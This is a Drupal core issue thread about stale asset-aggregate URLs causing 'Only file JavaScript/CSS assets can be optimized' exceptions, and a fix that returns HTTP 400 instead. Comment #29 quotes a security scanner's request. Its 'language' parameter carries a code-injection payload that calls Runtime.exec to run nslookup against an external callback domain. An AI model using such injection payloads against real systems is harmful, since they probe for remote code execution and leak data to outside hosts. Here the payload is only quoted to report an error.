Problem/Motivation
We started seeing a lot of errors in logs after a deployment which contained only the drupal core update (10.4.7 -> 11.2.2). The error is as follows:
Exception: Only file JavaScript assets can be optimized. in Drupal\Core\Asset\JsOptimizer->optimize() (line 31 of core/lib/Drupal/Core/Asset/JsOptimizer.php).
Drupal\Core\Asset\JsCollectionOptimizerLazy->optimizeGroup() (Line: 192)
Drupal\system\Controller\AssetControllerBase->deliver()
call_user_func_array() (Line: 123)
Drupal\Core\EventSubscriber\EarlyRenderingControllerWrapperSubscriber->Drupal\Core\EventSubscriber\{closure}() (Line: 622)
Drupal\Core\Render\Renderer->executeInRenderContext() (Line: 121)
Drupal\Core\EventSubscriber\EarlyRenderingControllerWrapperSubscriber->wrapControllerExecutionInRenderContext() (Line: 97)
Drupal\Core\EventSubscriber\EarlyRenderingControllerWrapperSubscriber->Drupal\Core\EventSubscriber\{closure}() (Line: 183)
Symfony\Component\HttpKernel\HttpKernel->handleRaw() (Line: 76)
Symfony\Component\HttpKernel\HttpKernel->handle() (Line: 53)https://git.drupalcode.org/project/drupal/-/merge_requests/12774.diff
Drupal\Core\StackMiddleware\Session->handle() (Line: 48)
Drupal\Core\StackMiddleware\KernelPreHandle->handle() (Line: 28)
Drupal\Core\StackMiddleware\ContentLength->handle() (Line: 32)
Drupal\big_pipe\StackMiddleware\ContentLength->handle() (Line: 48)
Drupal\Core\StackMiddleware\ReverseProxyMiddleware->handle() (Line: 51)
Drupal\Core\StackMiddleware\NegotiationMiddleware->handle() (Line: 53)
Drupal\Core\StackMiddleware\AjaxPageState->handle() (Line: 51)
Drupal\Core\StackMiddleware\StackedHttpKernel->handle() (Line: 715)
Drupal\Core\DrupalKernel->handle() (Line: 19)
The same can happen with CSS: Exception: Only file CSS assets can be optimized. in Drupal\Core\Asset\CssOptimizer->optimize() (line 43 of core/lib/Drupal/Core/Asset/CssOptimizer.php).
Most of these errors come from old aggregate URLs hitting Drupal. They can also come from cached HTML, a reverse proxy, or a crawler replaying a URL it saved long ago.
Root cause
delta is not an ID. It is a position in the list of asset groups that \Drupal\system\Controller\AssetControllerBase::deliver rebuilds on every request. The URL pins which libraries are requested, but their assets come from the current code, so when those change the groups move and the same delta points to a different group.
That list also holds groups that have no aggregate. preprocess: false files and type: external assets are never grouped with anything and are linked directly in the HTML, but they still take a position. So many valid delta values point to a group with no aggregate file. jQuery is a common example: core ships it as preprocess: false, so on a page that loads it delta=0 in the footer usually has no aggregate.
This only matters once the aggregate is gone from disk, since deliver() serves the file directly while it exists. drupal_flush_all_caches() deletes every aggregate, which is why the errors appear right after a deployment.
A stale delta is usually harmless. deliver() rebuilds the aggregate, redirects to the right filename, or rejects an unknown delta with a 400.
The unhandled case is a delta that lands on a group with no aggregate. There is nothing to build, and the redirect only points back at the same group, so the request ends up in optimizeGroup() and the optimizer throws. A 400 is the right answer instead. A code comment in JsOptimizer::optimize already states that files with preprocess set to FALSE "should never even enter this method", but nothing enforces it.
Note: No URL manipulation is needed for this to happen. The steps below change the delta by hand because that is the quickest way to reach this state, but in production it happens with old URLs that nobody modified.
Steps to reproduce
- Install drupal standard profile
- We need a library on the page that adds external JS/CSS, such as adding this to olivero.libraries.yml
external: js: http://example.com/script.js: { type: external } css: theme: http://example.com/stylesheet.css: { type: external }
And add it on all pages (e.g.: add olivero/external as dependency to global-styling)
- Now visit the homepage, take the aggregated CSS/JS URLs and manipulate both hash+delta at the same time until you hit the delta that corresponds to the type external group (inspecting $groups in \Drupal\system\Controller\AssetControllerBase::deliver with xdebug really helps to find the corresponding delta. Once we do, we get the error.).
e.g.: /sites/default/files/css/css_GkU_drE40ATj6jWoV_AI56l7jIAzJHB7dGmZAlm8XrA.css?delta=0&language=en&theme=olivero&include=eJxdyUEOAyEIQNELST0TKrGkDEzAarz9JJNmFt38xfsmPMktd7GCAjG2sPZkP1ac3HGwKQRV04a-n3naIqcGZUMRq59nBKHXNyi62_rXxY1S7Bh05IJBaTKtyHdfh7Wv0AUhgTot
Increment delta (try 1, 2, 3,...) and change what is after css_ every time (so we don't get the existing file on disk).
Note that a wrong hash does not throw on its own: deliver() returns a 301 to the correct filename for that group. Your browser follows it and the exception is thrown on that second request. With curl you need -L.
Proposed resolution
Make \Drupal\system\Controller\AssetControllerBase::deliver more resilient to such stale asset requests. We can check if $group['type'] !== 'file' || $group['preprocess'] === FALSE and return a 400 error (bad request). This essentially ensures the delta query param is valid, like other params are checked/validated.
Remaining tasks
- Review
User interface changes
None
Introduced terminology
None
API changes
None
Data model changes
None
Release notes snippet
None
| Comment | File | Size | Author |
|---|---|---|---|
| #46 | 11.x-10.x-interdiff.txt | 8.9 KB | joelpittet |
| #42 | 3536795-asset-controller-reject-non-aggregatable-groups-D106.patch | 951 bytes | firewaller |
| #35 | 3536795-35.diff | 956 bytes | ioana apetri |
Issue fork drupal-3536795
Show commands
Start within a Git clone of the project using the version control instructions.
Or, if you do not have SSH keys set up on git.drupalcode.org:
- 3536795-assets-errors-10.6.x
changes, plain diff MR !16978
- 3536795-assets-errors
changes, plain diff MR !12774
Comments
Comment #3
herved commentedComment #4
herved commentedComment #5
herved commentedOpened MR
For context, I suspect we may have an infrastructure issue somewhere, possibly the reverse proxy serving stale pages.
Still, if that is the case, drupal should not fill the logs with errors. The changes here will log BadRequestHttpException warnings just like other invalid asset requests.
Comment #6
herved commentedTests and steps to reproduce still todo.
But any feedback is welcome.
Comment #7
herved commentedComment #8
herved commentedComment #9
herved commentedStatic patch for composer.
Comment #10
joelpittet@herved Thanks so much for jumping on this — I’m seeing the same thing in my logs, so really appreciate you taking this on!
RE The mention in the proposed solution
I wonder if it might be helpful to keep the scope of that one in its own issue, just to keep things a bit more focused? I realize they are related (because this JS one is where I copied from in #3414173: Add support for minified external CSS libraries) but painting them with the same brush is what brought us here in the first place.
Comment #11
herved commentedHi @joelpittet, I know I combined 2 issues into 1 here, which may not be ideal, but they are tighly coupled.
In my understanding, considering this issue here, and the changes I propose, external files would and should never enter the
::optimizeGroupmethod. So does it really make sense to check forminified === TRUE && type === externalin::optimizeGroupas you proposed there? Meaning the condition is therefore not needed.Thanks also for following up on this.
Comment #12
joelpittetThanks, @herved — you might be right here, especially since you probably have a better handle on the internals of
::optimizeGroup()than I do.If you haven’t already, feel free to take a look at the test in #3535330: Assets paths in CSS no longer rewritten when aggregation is enabled — it might be helpful to reuse or adapt parts of it to confirm whether
::optimizeGroup()is actually called in these cases. Even just running the test on its own could help show the problem is fixed. That kind of check might make the expected behavior a bit clearer.I’m still a bit cautious about collapsing the two issues, since that overlap is partly what got us into this situation. But if you feel strongly that they belong together, I won’t block it. I do think the targeted fix in #3535330: Assets paths in CSS no longer rewritten when aggregation is enabled should resolve the CSS side of things.
Really appreciate the work you’re doing here — you might end up solving a broader problem in the process! I’m just laser-focused on cleaning up the regression I introduced, and if I expand the scope too much, I’m afraid I’ll cause another one 😬
Comment #13
herved commentedIt looks like #3535330: Assets paths in CSS no longer rewritten when aggregation is enabled was committed recently.
I think all the code and tests added from both #3414173: Add support for minified external CSS libraries and #3535330: Assets paths in CSS no longer rewritten when aggregation is enabled are not needed and could be reverted if we consider this change here. And so we could transfer these tests to the
AssetControllerBase::deliverlevel.For now I will only include here the minimal changes.
Comment #14
dewancodes commentedHi @herved, I am experiencing the same issue after upgrading site Drupal 10 to Drupal 11.2. Thanks a lot for your great help on it.
Comment #15
joelpittet@dewancodes Drupal 11.2.3 has #3535330: Assets paths in CSS no longer rewritten when aggregation is enabled in it.
Can you confirm you are using that version? Also could you give more details on the asset causing this issue for you?
Comment #16
weseze commentedToday, we ran into this issue after deploying a Drupal 11.2.5 update, so it’s definitely still a problem.
We experienced this a few moments after deployment and only on very few requests — I would say less than 1 in 1 000.
Also, the reported user agents are mostly bots.
The more time passes after our deployment, the fewer of these errors we receive.
This led us to conclude that it was stale or cached HTML somewhere that was requesting aggregated CSS/JS assets that no longer exist.
These errors also occurred on websites that have no minimum cache time headers, nor any sort of external caching infrastructure in front of them. So we can rule out things like reverse proxies or misconfigured cache headers.
When inspecting the source of the pages that generate these errors, the referenced assets (aggregated file paths) do not exist in the source code at all. So again, we assume these errors are coming from stale or cached HTML pages from before our deployments.
UPDATE: I can also confirm that the applying the diff from #13 to D11.2.5 fixes the issue.
Comment #17
alexrayu commentedHave run into the same issue with etracker.js from event_tracking contrib module.
What happens is this: etracker.js as defined as preprocess:false, and is not minified. The asset handler correctly groups it into a separate group with preprocess:false setting. But then opimizer checks if it has "minified:true", and since it does not have that flag, force-sends it to optimize(), without checking the preprocess value. Optimize() sees that the asset doe snot have preproccess:true and raises an error.
This seems to be a logical bug in that the optimizer in optimizeGroup() should be checking for the "preprocess" value before sending an asset to optimize(), no? Because its already grouped separately at this point, there is no really a need to fail because of this? Or?
Best, Alexei.
Comment #18
herved commentedFWIW I did not test yet but it may be that this is now solved by #3416508: Skip generating aggregates that won't be used for stale asset requests.
Edit: I tried it, it does not fix my particular issue, this MR here does, I left a comment there, see #75
Comment #20
herved commentedComment #21
herved commentedI added tests and steps to reproduce.
Comment #22
herved commentedComment #23
needs-review-queue-bot commentedThe Needs Review Queue Bot tested this issue. It fails the Drupal core commit checks. Therefore, this issue status is now "Needs work".
This does not mean that the patch necessarily needs to be re-rolled or the MR rebased. Read the Issue Summary, the issue tags and the latest discussion here to determine what needs to be done.
Consult the Drupal Contributor Guide to find step-by-step guides for working with issues.
Comment #24
herved commentedComment #25
smustgrave commentedLeft some comments on the MR
thanks.
Comment #26
herved commentedComment #27
needs-review-queue-bot commentedThe Needs Review Queue Bot tested this issue. It no longer applies to Drupal core. Therefore, this issue status is now "Needs work".
This does not mean that the patch necessarily needs to be re-rolled or the MR rebased. Read the Issue Summary, the issue tags and the latest discussion here to determine what needs to be done.
Consult the Drupal Contributor Guide to find step-by-step guides for working with issues.
Comment #28
herved commentedComment #29
swirtI tried applying the patch from Merge request !12774 and could not get it to apply to Drupal 11.3.12. It might be because the base branch is 38 commits behind ?
I am hoping this will resolve the whitescreen being thrown when jibberish is thrown at the route. My situation is that Invictiscan is hired to do security testing on a site that I work on. They keep calling out a 500 error when they throw the following request
/sites/default/files/css/css_hI1LTAYe_v1p87OvD6wknDNn2DrcZ5KLa_8Y4J22-jw.css?delta=3&include=eJxtzNEGwDAMBdAfCvmkSuOqkTT0jum-fvY49nw4nmwTF1dVqoeRu3UjxH8gQdoAvziiuoV4LeislRbHDeHmidT3egDyvCfq&language=%24%7bscript%3ajavascript%3ajava.lang.Runtime.getRuntime().exec(%27nslookup%204mkuor3ml4ahf9zqojpae9tlpbmvkvanxtqcmfqo%27%2b%27zcu.r87.me%27)%7d&theme=some_theme
They think they are catching some nefarious exploit path when really all they are finding is a place in drupal core where there is an uncaught exception resulting in a 500 response instead of 400 Bad request.
Comment #30
herved commented@swirt Yes I had to rebase the MR due to recent changes in the main branch (tests only).
Please try patch #13 which I currently use myself and still applies cleanly to 11.3 (same code as the current MR, minus tests).
Comment #31
jesmaster commentedFYI the newest patch and the one on #13 do not apply on 11.4
Comment #32
herved commentedUpdating the IS with "Root cause" section containing more detailed info.
Comment #33
herved commentedComment #34
joelpittetGave this a manual test locally.
With the MR I got the 400
Without the MR I see the 500
and
I specifically tested
preprocess === FALSEby usingdefault_admin/initanddefault_admin/admin_custom_cssbut witholiveroinstead ofdefault_adminIf you want to play along at home: ddev and
default_admintheme installed to be discoverable (active theme isolivero):Comment #35
ioana apetri commentedPatch rerolled for 11.4.4. Thank you!
Comment #36
needs-review-queue-bot commentedThe Needs Review Queue Bot tested this issue. It no longer applies to Drupal core. Therefore, this issue status is now "Needs work".
This does not mean that the patch necessarily needs to be re-rolled or the MR rebased. Read the Issue Summary, the issue tags and the latest discussion here to determine what needs to be done.
Consult the Drupal Contributor Guide to find step-by-step guides for working with issues.
Comment #37
joelpittetRerolled, it was the lines in
\Drupal\FunctionalTests\Asset\AssetOptimizationTestreferring to$header_dependency_aggregatesthat was conflicting.Comment #40
catchThe fix looks good. There's probably a bit of duplication between the functional test and the new kernel test, but it's not 1-1 and good to have the extra test coverage overall I think.
Committed/pushed to main and 11.x, thanks!
Comment #42
firewaller commentedAttached is a rerolled patch for D10.6 if anybody needs it.
Comment #43
joelpittetThanks @catch for getting this in and for the patch for D10 @firewaller!
Comment #44
longwaveIf someone wants to open an MR and backport the patch including tests this is something that could still go into 10.6.
Comment #46
joelpittetI did a quick check of the inter-ish-diff (see attached)
I hope that cuts the mustard, thanks @longwave for considering this for backport!
Comment #47
longwaveComment #48
smustgrave commentedSeems like a good backport
Comment #50
longwaveCommitted and pushed 82cfe78435c to 10.6.x. Thanks for the backport!